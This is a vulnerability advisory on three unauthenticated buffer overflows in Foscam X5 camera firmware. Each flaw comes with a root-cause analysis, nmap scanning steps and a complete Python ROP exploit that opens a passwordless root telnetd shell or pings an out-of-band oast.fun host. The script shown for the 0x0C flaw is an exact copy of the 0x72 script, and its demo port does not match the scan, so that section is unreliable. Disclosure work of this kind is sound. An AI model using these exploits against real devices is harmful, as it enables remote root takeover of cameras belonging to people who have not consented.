SSD Advisory – Multiple Foscam X5 Vulnerabilities

Summary

Multiple Foscam X5 vulnerabilities have been discovered, the vulnerabilities allow a remote attacker to trigger code execution vulnerabilities in the product.

Credit

An independent security researcher working with SSD Secure Disclosure.

Vendor Response

Repeated attempts to get a response from the vendor or for the vendor to address the issues raised have failed.

Affected Versions
  • Foscam X5 version 2.40 and prior
Technical Analysis

Foscam X5 (probably other models have this as well) exposes a service called UDTMediaServer. This service contains multiple endpoints that can be accessed unauthenticated. Three of these endpoints can be exploited to overflow internal buffers and, in turn, use them to execute arbitrary code.

Foscam X5 UDTMediaServer handler 0x72 Buffer Overflow

This vulnerability affects the UDTMediaServer binary present in the latest available firmware – V-2.x.2.40 (md5 hash dbe94cbf5c33b7c24e270ad1dc4073f1 – https://www.foscam.com/downloads/firmware_details.html?id=169).

Previous firmware versions have not been checked but may be vulnerable.

Root Cause Analysis

The function FUN_000332c8 is responsible for handling the data received by the server.

      memcpy(__dest + * piVar2, param_3, param_4);
      piVar2 = (int * ) FUN_0003556c(pcVar12, & local_34);
      * piVar2 = * piVar2 + param_4;
      local_30 = 0;
      local_2c = 0;
      iVar11 = 0;
      iVar4 = 0;
      do {
        while (true) {
          piVar2 = (int * ) FUN_0003556c(pcVar12, & local_34);
          iVar9 = * piVar2;
          __src = __dest + iVar11;
          if ((uint)(iVar9 - iVar11) < 0xc) goto LAB_00033520;
          local_30 = * (undefined4 * )(__src + 4);
          iVar5 = strcmp((char * ) & local_30, "FOSC"); < -- - [checks magic value]
          if (iVar5 == 0) break;
          iVar11 = iVar11 + 1;
        }
        __n = * (int * )(__src + 8) + 0xc;
        if ((uint)(iVar9 - iVar11) < __n) goto LAB_00033520;
        iVar11 = iVar11 + __n;
        pvVar6 = memcpy((void * )(param_1 + param_5 * 0x800 + 0x2169f0), __src, __n);
        parse_packet(param_1, local_34, pvVar6, __n, param_5); < -- - [parse data]

We can see it checks for a “FOSC” magic value in the received packet then calls parse_packet() function. (FUN_00032e94)

parse_packet() takes the data and calls the proper handler for the provided ID (first DWORD).

  if (((iVar1 == 0) || (uVar5 = *param_3, uVar5 - 600 < 2)) ||
     ((uVar5 - 0x25 < 2 || (param_3[2] == 0)))) {
LAB_00032f9a:
    uVar5 = *param_3;
    if (uVar5 == 0x24) {
      FUN_0002da80(param_1,param_2,puVar3,uVar2,param_5);
    }
    (...)
    else if (uVar5 == 0x72) {
      FUN_0002f94c(param_1,param_2,puVar3,uVar2,param_5); <--- [0x72 handler]
    }

If ID is 0x72, it will call the handler FUN_0002f94c. This handler contains an unauth buffer overflow vulnerability.

  (...)
  char acStack_290c[64];
  size_t local_28cc;
  char acStack_288c[8];
  size_t local_2884;
  char acStack_2880[52];
  size_t local_284c;
  char acStack_2028[4096];
  char acStack_1028[4100];

  (...)
  memset(acStack_1028, 0, 0x1000);
  (...)
  sVar1 = strlen(param_3);
  FUN_0002ace8(param_1, param_3, sVar1, acStack_1028, 0x1000); < -- - [copies data to acStack_1028]
  (...)
  pcVar2 = strstr(acStack_1028, "cmd=");
  memset(acStack_29ac, 0, 0x44);
  if (pcVar2 == (char * ) 0x0) {
    return;
  }
  pcVar3 = strchr(pcVar2, L '&');
  if (pcVar3 == (char * ) 0x0) {
    iVar4 = 0x2fa44;
  } else {
    iVar4 = 0x2fa3a;
  }
  sscanf(pcVar2, (char * )(iVar4 + 0xa4f69), acStack_29ec);
  iVar4 = strncmp(acStack_29ec, "snapPicture", 0xb);

We can see some stack buffers in the start of the function. It copies the packet data to acStack_1028.

Then it will look for a “cmd=” string in the data. If found, it will do a sscanf() call to extract the value after “cmd=“.

  iVar4 = strncmp(acStack_29ec, "snapPicture", 0xb);
  if (iVar4 == 0) {
    (...)
    else {
      if ((param_5 != 2) || (iVar4 = strncmp(acStack_29ec, "exportConfig", 0xc), iVar4 != 0)) {
        memset(acStack_288c, 0, 0x864);
        builtin_strncpy(acStack_288c + 4, "FOSC", 4);
        acStack_288c[0] = 's';
        acStack_288c[1] = '\0';
        acStack_288c[2] = '\0';
        acStack_288c[3] = '\0';
        sVar1 = strlen(acStack_2028);
        local_2884 = sVar1;
        strcpy(acStack_2880, acStack_2028);
        local_28cc = strlen(acStack_29ec);
        strncpy(acStack_290c, acStack_29ec, local_28cc); < -- - [overflow]
        acStack_290c[local_28cc] = '\0'; < -- - [write null - byte anywhere]
        memcpy(acStack_2880 + sVar1, acStack_290c, 0x44);
        FUN_0002e9c0(param_1, 0, 0x73, param_2, acStack_2880, local_2884 + 0x45, param_5, 0);
        wirteLog(0xb, 3, "", "CUDTMediaServer.cpp", 0xa06, "Message Send Finished:CONTROL_MSG_CGI_RESULT");
        return;
      }

Then it will check if the provided command is “snapPicture“. If not, it will take the else branch. There it will check if the command is “exportConfig“. If not, then it will prepare the response to be sent to the client.

In the strncpy() call, we can overflow the acStack_290c buffer whose size is only 64 bytes. Variable local_28cc is located right after it and was supposed to contain the size calculated by strlen() in the previous command, however we can set it to any value after the strncpy(). So, at acStack_290c[local_28cc] = '\0'; we can write a null-byte anywhere relative to the acStack_290c address.

Exploit

The exploit uses the write-null-anywhere primitive to partially corrupt one of the return pointers saved in the stack and gain control of the program flow.

Since the binary has no canary, we can easily control the PC register. It also lacks PIE, allowing us to use hardcoded addresses from the binary itself.

The exploit does a ROP to call the popen() function with the commands cd /tmp; /usr/sbin/telnetd -l /bin/sh -p 4321. This will start a telnetd on port 4321 which doesn’t require any password and has root privileges.

Code can be found in the file xpl_UDTMediaServer_id_0x72_null_byte.py.

Exploitation
The exploit takes as parameters the IP address of the camera and the TCP port that UDTMediaServer is listening. UDTMediaServer binary listens on a random port when started, usually above 30000. It is easily recognizable since the only other port above 30000 that the device uses is 65534 for a RTSP server.

One way to obtain the IP address in a local network is to scan for a host which has both TCP ports 88 and 888 open. With the address, you can do a full TCP scan to discover the port UDTMediaServer is listening and then you are prepared to run the exploit.

See demo below:

  1. Finding camera’s IP address
$ nmap -p 88,888 --open 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-27 17:59 -03
Nmap scan report for 192.168.1.9
Host is up (0.0081s latency).

PORT    STATE SERVICE
88/tcp  open  kerberos-sec
888/tcp open  accessbuilder

Nmap done: 256 IP addresses (7 hosts up) scanned in 4.98 seconds
  1. Finding UDTMediaServer port
$ nmap -p- 192.168.1.9
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-27 18:01 -03
Nmap scan report for 192.168.1.9
Host is up (0.040s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
88/tcp    open  kerberos-sec
443/tcp   open  https
888/tcp   open  accessbuilder
32807/tcp open  unknown
65534/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
  1. Running the exploit
$ python3 xpl_UDTMediaServer_id_0x72_null_byte.py 192.168.1.9 32807
  1. Connecting to telnet
$ telnet 192.168.1.9 4321
Trying 192.168.1.9...
Connected to 192.168.1.9.
Escape character is '^]'.
/tmp # id
uid=0(root) gid=0(root)
/tmp # uname -a
Linux IPCamera 4.9.84 #91 PREEMPT Tue Aug 3 18:15:29 CST 2021 armv7l GNU/Linux
import socket
import struct
import sys


def p32(x):
    return struct.pack("<I", x)


def exploit(host, port):
    gadget1 = 0x00054C60  # mov r1, r5 ; pop {r4, r5, pc}
    gadget2 = 0x000B6888  # add r0, r4 ; pop {r3, r4, r5, r6, r7, pc}

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    l = 1000

    pkt = b"\x72\x00\x00\x00"  # ID
    pkt += b"FOSC"  # magic
    pkt += p32(l)  # len
    data = b"cmd="
    data += b"A" * 64 + p32(
        0x00002938 + 1
    )  # Padding to partially overwrite return at 0x000332a0 from 0x000334f0 to 0x000300f0.
    # At epilogue, will lead to execution of instructions:
    # 0003010e 0d f5 49 7d     add.w      sp,sp,#0x324
    # 00030112 bd e8 f0 8f     pop.w      {r4,r5,r6,r7,r8,r9,r10,r11,pc}
    data += b"B" * 548  # padding for sp
    data += b"aaaa"  # r4
    data += p32(0xE2E91)  # r5
    data += b"aaaa" * 6  # r6, r7, r8, r9, r10, r11
    data += p32(gadget1 + 1)  # r1 -> "r" string
    data += p32(832)  # r4
    data += b"bbbb"  # r5
    data += p32(gadget2 + 1)  # adjust r0 to point to cmd
    data += b"cccc" * 5  # r3, r4, r5, r6, r7
    data += p32(0x4625C + 1)  # popen
    data += b"/usr/bin/ping ooisbhsvtfinifuogmenm57t63x9uxbs1.oast.fun\x00"
    # data += b"cd /tmp; /usr/sbin/telnetd -l /bin/sh -p 4321\x00"
    data += b"C" * (l - len(data))
    pkt += data

    sock.sendall(pkt)


def main():
    if len(sys.argv) != 3:
        print(f"usage: python3 {sys.argv[0]} <host> <port>")
        sys.exit()

    host = str(sys.argv[1])
    port = int(sys.argv[2])

    exploit(host, port)


if __name__ == "__main__":
    main()
Foscam X5 UDTMediaServer handler 0x0C Buffer Overflow

This vulnerability affects UDTMediaServer binary present in the latest available firmware – V-2.x.2.40 (md5 hash dbe94cbf5c33b7c24e270ad1dc4073f1 – https://www.foscam.com/downloads/firmware_details.html?id=169).

Previous firmware versions have not been checked but may be vulnerable.

The exact same firmware is valid for other camera models, such as X3, R3, R5, X4. So they are likely vulnerable as well, and the same exploit could potentially work without any changes.

Root Cause Analysis

The vulnerability is similar to the one described at: https://ssd-disclosure.com/ssd-advisory-foscam-r4m-udtmediaserver-buffer-overflow/. It seems the vendor forgot to patch that vulnerability in other firmwares.

In short, it is an unauth buffer overflow vulnerability that occurs in strcpy() calls when a packet with ID 0xC is sent to the server.

Exploit

The exploit uses the stack overflow to gain control of the program flow. It uses different gadgets than those used by the reference exploit [3].

Since the binary has no canary, we can easily control the PC register. It also lacks PIE, allowing us to use hardcoded addresses from the binary itself.

The exploit does a ROP to call the popen() function with the commands cd /tmp; /usr/sbin/telnetd -l /bin/sh -p 4321. This will start a telnetd on port 4321 which doesn’t require any password and has root privileges.

Code can be found in the file xpl_UDTMediaServer_id_0xC.py.

Exploitation

The exploit takes as parameters the IP address of the camera and the TCP port that UDTMediaServer is listening. UDTMediaServer binary listens on a random port when started, usually above 30000. It is easily recognizable since the only other port above 30000 that the device uses is 65534 for a RTSP server.

One way to obtain the IP address in a local network is to scan for a host which has both TCP ports 88 and 888 open. With the address, you can do a full TCP scan to discover the port UDTMediaServer is listening and then you are prepared to run the exploit.

See demo below:

  1. Finding camera’s IP address
$ nmap -p 88,888 --open 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-27 17:59 -03
Nmap scan report for 192.168.1.9
Host is up (0.0081s latency).

PORT    STATE SERVICE
88/tcp  open  kerberos-sec
888/tcp open  accessbuilder

Nmap done: 256 IP addresses (7 hosts up) scanned in 4.98 seconds
  1. Finding UDTMediaServer port
$ nmap -p- 192.168.1.9
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-27 18:01 -03
Nmap scan report for 192.168.1.9
Host is up (0.040s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE
88/tcp    open  kerberos-sec
443/tcp   open  https
888/tcp   open  accessbuilder
32807/tcp open  unknown
65534/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 13.55 seconds
  1. Running the exploit
$ python3 xpl_UDTMediaServer_id_0xC.py 192.168.1.9 37009
  1. Connecting to telnet
$ telnet 192.168.1.9 4321
Trying 192.168.1.9...
Connected to 192.168.1.9.
Escape character is '^]'.
/tmp # id
uid=0(root) gid=0(root)
/tmp # uname -a
Linux IPCamera 4.9.84 #91 PREEMPT Tue Aug 3 18:15:29 CST 2021 armv7l GNU/Linux
import socket
import struct
import sys


def p32(x):
    return struct.pack("<I", x)


def exploit(host, port):
    gadget1 = 0x00054C60  # mov r1, r5 ; pop {r4, r5, pc}
    gadget2 = 0x000B6888  # add r0, r4 ; pop {r3, r4, r5, r6, r7, pc}

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    l = 1000

    pkt = b"\x72\x00\x00\x00"  # ID
    pkt += b"FOSC"  # magic
    pkt += p32(l)  # len
    data = b"cmd="
    data += b"A" * 64 + p32(
        0x00002938 + 1
    )  # Padding to partially overwrite return at 0x000332a0 from 0x000334f0 to 0x000300f0.
    # At epilogue, will lead to execution of instructions:
    # 0003010e 0d f5 49 7d     add.w      sp,sp,#0x324
    # 00030112 bd e8 f0 8f     pop.w      {r4,r5,r6,r7,r8,r9,r10,r11,pc}
    data += b"B" * 548  # padding for sp
    data += b"aaaa"  # r4
    data += p32(0xE2E91)  # r5
    data += b"aaaa" * 6  # r6, r7, r8, r9, r10, r11
    data += p32(gadget1 + 1)  # r1 -> "r" string
    data += p32(832)  # r4
    data += b"bbbb"  # r5
    data += p32(gadget2 + 1)  # adjust r0 to point to cmd
    data += b"cccc" * 5  # r3, r4, r5, r6, r7
    data += p32(0x4625C + 1)  # popen
    data += b"/usr/bin/ping ooisbhsvtfinifuogmenm57t63x9uxbs1.oast.fun\x00"
    # data += b"cd /tmp; /usr/sbin/telnetd -l /bin/sh -p 4321\x00"
    data += b"C" * (l - len(data))
    pkt += data

    sock.sendall(pkt)


def main():
    if len(sys.argv) != 3:
        print(f"usage: python3 {sys.argv[0]} <host> <port>")
        sys.exit()

    host = str(sys.argv[1])
    port = int(sys.argv[2])

    exploit(host, port)


if __name__ == "__main__":
    main()
Foscam X5 RtspServer lookForHeader Buffer Overflow – CVE-2018-4013

It affects RtspServer binary present in the latest available firmware – V-2.x.2.40 (md5 hash dbe94cbf5c33b7c24e270ad1dc4073f1 – https://www.foscam.com/downloads/firmware_details.html?id=169).

Previous firmware versions have not been checked but may be vulnerable.

The exact same firmware is valid for other camera models, such as X3, R3, R5, X4. So they are likely vulnerable as well, and the same exploit could potentially work without any changes.

Root Cause Analysis

The RtspServer used is version 0.77 – LIVE555 Streaming Media library version 2014.02.10. This version ( http://www.live555.com/mediaServer/ ) has a lot of publicly known vulnerabilities.

One of them is CVE-2018-4013, an unauth stack overflow vulnerability well documented at [4], that occurs when we send a specially crafted HTTP packet containing multiple Accept: or x-sessioncookie headers to the server. In short, for each one of these headers it will concatenate the value to the destination buffer without taking into account the destination size.

Exploit

The exploit uses the stack overflow to gain control of the program flow.

Since the binary has no canary, we can easily control the PC register. It also lacks PIE, allowing us to use hardcoded addresses from the binary itself.

The exploit does a ROP to invoke the execve() syscall with the command telnetd -l /bin/sh -p 4321. This will start a telnetd on port 4321 which doesn’t require any password and has root privileges.

Code can be found in the file xpl\_RtspServer\_CVE-2018-4013.py.

Exploitation

The exploit takes as parameters the IP address of the camera and the TCP port that RtspServer is listening. RtspServer binary listens on TCP port 65534 by default.

One way to obtain the IP address in a local network is to scan for a host which has both TCP ports 88 and 888 open.

See demo below:

  1. Finding camera’s IP address
$ nmap -p 88,888 --open 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2025-01-27 17:59 -03
Nmap scan report for 192.168.1.9
Host is up (0.0081s latency).

PORT    STATE SERVICE
88/tcp  open  kerberos-sec
888/tcp open  accessbuilder

Nmap done: 256 IP addresses (7 hosts up) scanned in 4.98 seconds
  1. Running the exploit
$ python3 xpl_RtspServer_CVE-2018-4013.py 192.168.1.9 65534
  1. Connecting to telnet
$ telnet 192.168.1.9 4321
Trying 192.168.1.9...
Connected to 192.168.1.9.
Escape character is '^]'.

sh: getcwd: No such file or directory
(unknown) # cd /
/ # id
uid=0(root) gid=0(root)
/ # uname -a
Linux IPCamera 4.9.84 #91 PREEMPT Tue Aug 3 18:15:29 CST 2021 armv7l GNU/Linux
import sys
import struct
import socket


def p32(x):
    return struct.pack("<I", x)


def exploit(host, port):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))

    gadget1 = 0x0002C2E2  # pop {r0, r1, r2, r3, r4, r7, pc}
    gadget2 = 0x0003286C  # svc #0x34; ...

    l = 800

    buf_start = (
        0x88F3E + 3
    )  # Our data in heap. Address seems stable. Points to "GET /..."
    buf_good = buf_start + 23  # Points to first Accept header value

    prog = b"/bin/sh\0"

    # prepare argv pointers
    data = p32(buf_good + 4 * 4)
    data += p32(buf_good + 4 * 4 + len(prog))
    data += p32(buf_good + 4 * 4 + len(prog) + len("-c\0"))
    data += p32(0)

    # argv data
    data += prog
    data += b"-c\0"
    data += b"telnetd -l/bin/sh -p4321\0"

    data += b"A" * (236 - len(data))
    data += p32(gadget1 + 1)
    data += p32(buf_good + 4 * 4)  # prog
    data += p32(buf_good)  # argv
    data += p32(0)  # envp
    data += b"aaaa" * 2
    data += p32(11)  # r7 - execve
    data += p32(gadget2 + 1)
    data += b"B" * (l - len(data))

    pkt = b"GET / HTTP/1.0\r\n"

    chunks = [data[i : i + 60] for i in range(0, len(data), 60)]
    headers = [b"Accept:" + chunk + b"\r\n" for chunk in chunks]

    pkt += b"".join(headers)
    pkt += b"\r\n"

    sock.sendall(pkt)


def main():
    if len(sys.argv) != 3:
        print(f"usage: python3 {sys.argv[0]} <host> <port>")
        sys.exit()

    host = str(sys.argv[1])
    port = int(sys.argv[2])

    exploit(host, port)


if __name__ == "__main__":
    main()

?

Get in touch

Skip to content